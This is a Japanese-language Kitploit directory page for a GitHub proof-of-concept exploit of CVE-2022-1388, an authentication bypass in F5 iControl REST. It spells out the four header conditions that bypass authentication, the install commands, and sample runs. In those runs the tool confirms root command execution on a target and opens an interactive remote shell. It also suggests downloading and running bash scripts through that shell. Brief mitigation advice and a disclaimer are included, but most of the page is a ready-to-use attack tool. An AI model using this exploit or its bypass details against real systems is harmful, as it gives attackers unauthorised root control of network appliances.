Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-1388-POC — CVE-2022-1388 向け改善された概念実証(インタラクティブシェル付き) | Kitploit
ツール/GitHubGitHub/psychosec2/cve-2022-1388-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubpsychosec2/cve-2022-1388-poc

CVE-2022-1388-POC

CVE-2022-1388 向け改善された概念実証(インタラクティブシェル付き)

リポジトリを見る
14411年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PsychoSec による CVE-2022-1388 PoC

複数のF5製品に影響を与えるCVE-2022-1388の改良版PoCです。

これは、CVE-2022-1388に対するHorizon3の概念実証(PoC)の改良版です。 https://github.com/horizon3ai/CVE-2022-1388

このバージョンには、複数の改良点に加え、リモートコマンドを実行するためのインタラクティブシェルが含まれています。

技術的分析:

脆弱性の根本原因に関するHorizon3の技術分析は、彼らのブログで確認できます。 https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

概要:

この脆弱性を悪用するためのリクエストの必要条件:

  1. Connection ヘッダーに X-F5-Auth-Token が含まれている必要があります
  2. X-F5-Auth-Token ヘッダーが存在している必要があります
  3. Host ヘッダーが localhost / 127.0.0.1 であるか、Connection ヘッダーに X-Forwarded-Host が含まれている必要があります
  4. Auth ヘッダーに管理者ユーザー名と任意のパスワードが設定されている必要があります

必要条件:

  • git
  • pip3
  • python3

インストール:

root@kitploit:~
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h

使い方:

ターゲットのテスト:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!

Use -s option to run an interactive shell.

インタラクティブシェル:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..

root@f5-localhost: /var/service/restjavad$ 

※ リバースTCP接続やリスナーは不要です。

オプション:

root@kitploit:~
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]

Options:
  -h, --help         Show this help message.
  -u URL, --url=URL  The IP address of the target.
  -t, --test         Test target for CVE-2022-1388.
  -s, --shell        Run an interactive shell.

重要:

未パッチのシステムでインタラクティブシェルを実行する場合、特定のコマンドや構文が動作しない、または期待した結果が得られない可能性があることに注意してください。これは、サーバーAPIのリクエストとレスポンスでJSONを使用していることが原因と考えられます。問題を避けるため、インタラクティブシェルを使用する際は、コロン、カンマ、中括弧、角括弧、特に引用符など、JSON構文で一般的な単一の文字を使用しないようにしてください。コマンド内のJSON構文は、適切な形式で構造化する必要があります。

コマンド内で非構造化されたJSON構文を使用すると、サーバーへのAPIリクエストが不正な形式になり、コマンド出力がない、何も実行されない、あるいはPythonスクリプトから完全に脱出してしまう可能性があります。このため、残念ながら一部のコマンドが使用できなくなります。この問題を回避するには、代わりにbashスクリプトを作成し、サーバーにダウンロードして、インタラクティブシェルを使用して実行することができます。また、'cd'コマンドを使用してディレクトリを変更することもできません。

  • JSON入門: https://javaee.github.io/tutorial/jsonp001.html

いずれにせよ、基本的なコマンド出力は引き続き得られるはずです。コマンド出力が得られなくても、それはコマンドが実行されなかったことを意味するわけではありません。ただし、それが実行されたかどうかは、ご自身の分析で判断する必要があります。

緩和策:

最新バージョンにアップデートするか、F5セキュリティアドバイザリの指示に従って緩和措置を講じてください。

  • https://support.f5.com/csp/article/K23605346

免責事項:

このソフトウェアは、学術研究および効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナーは、ソフトウェアの誤用に対する責任を負いません。責任を持って使用してください。

ツールをダウンロード